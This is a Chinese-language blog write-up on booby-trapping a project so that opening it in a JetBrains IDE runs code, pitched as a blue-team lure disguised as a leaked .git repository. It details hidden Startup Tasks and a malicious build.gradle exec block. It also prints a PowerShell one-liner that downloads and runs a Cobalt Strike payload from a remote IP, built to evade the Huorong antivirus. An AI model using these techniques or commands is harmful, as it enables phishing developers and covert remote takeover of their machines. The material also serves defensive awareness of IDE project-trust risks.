前言

前有APT利用vs,后有小子利用IDEA

Lazarus APT攻击手法之利用Build Events特性执行代码复现

https://mp.weixin.qq.com/s/w0W0_l2k-KNUG4EMYuK5ag

有一个vscode更新后再打开目录成这样了

image.png
能出现这样安全模式,一定是出了安全问题,但当时没有多想,IDEA同理

vscode更多基于插件,这里IDEA利用成功率更多

蓝队思路

将这个项目伪装为一个.git泄露,红队使用扫描器扫描到.git泄露大概率会忍不住诱惑下载,如果下载完使用JetBrains家的IDE打开则会直接RCE。 为了使其有更大的可能性使用IDE打开,将项目伪装的尽可能大一些,看起来不是一个文本编辑器查看能够搞得定的,这个时候会写代码的红队很可能会使用自己的IDE打开阅读尝试寻找有效信息

总的来说,这不是一个漏洞,更像一个方便开发人员的配置功能,包括ppt.vs,vscode,idea这些都有一个可以方便调用程序/命令的功能,不过这些都可以被安全人员拿来用做钓鱼方式

为什么能够在打开项目的时候RCE

JetBrains系列的产品支持一个Startup Tasks的功能:

  1. https://www.jetbrains.com/help/idea/settings-tools-startup-tasks.html

这个功能是用于在每次使用JetBrains系列的IDE打开给定项目的时候都执行某个任务,有些系列的IDE会将Startup Tasks放在Tools菜单下, 但是有些系列的IDE不会放,从File —> Settings 打开设置:
image.png
然后搜索Startup Tasks即可打开相关设置项,然后Add New Configuration增加一个新的配置:

image.png
这里有很多选项,通过这些任务就可以实现RCE:

image.png

执行任意脚本文件

这里选择比较容易实现RCE的shell script:

image.png
选择项目文件夹下的批处理文件,注意一定要取消勾选Actiovate tool window,这个选项被勾选时执行脚本的时候会把Terminal窗口给打开再执行,这个时候隐蔽性就没那么高了, 一旦激警很可能会迅速取消使得文件得不到执行:

image.png
这个文件的内容是保存在项目文件夹下的.idea/workspace.xml文件中的:

image.png
image.png
bat内容

  1. mshta vbscript:msgbox("You Are Hacked By Me!",1,"Tips")(window.close)

此时退出重新打开项目就会执行这个批处理文件

image.png

直接执行命令

image.png

image.png

执行可执行文件

shell script任务中可以不必老老实实指定一个批处理脚本文件,而是可以直接指定一个二进制文件,这个二进制文件一样会被执行。
image.png
image.png

Gradle

最先想到的是 java 项目常用的构建工具 gradle. 它的 build 方式不同于 maven 的那种声明式 xml, 而是通过运行一个 build.gradle 脚本, 类似于 python 安装模块时的 setup.py. 我们自然可以通过编写恶意的 build.gradle 脚本来达到 RCE 的目的, 示例如下

  1. plugins {
  2. id 'java'
  3. }
  4. group 'org.example'
  5. version '1.0-SNAPSHOT'
  6. exec {
  7. commandLine 'touch', '/tmp/pwned'
  8. }
  9. repositories {
  10. mavenCentral()
  11. }
  12. dependencies {
  13. testImplementation 'org.junit.jupiter:junit-jupiter-api:5.7.0'
  14. testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine:5.7.0'
  15. }
  16. test {
  17. useJUnitPlatform()
  18. }

即是 RCE 的部分, 非常的简单直接
如果打开 Safe Mode, 是不会运行 build.gradle 的, 保证了用户的安全, 但是如果信任了这个项目, IDEA 就会自动运行 build.gradle

CS上线

image.png

  1. //一个bypass 火绒下载语句
  2. powershell.exe -c "set-alias -name test -value Invoke-Expression;test((new-object net.webclient).downloadstring('http://x.x.95.x:80/a'))"

火绒在安全人员里面挺有市场的

Demo.gif

提醒

当然好像在某些版本之后便不会自动执行了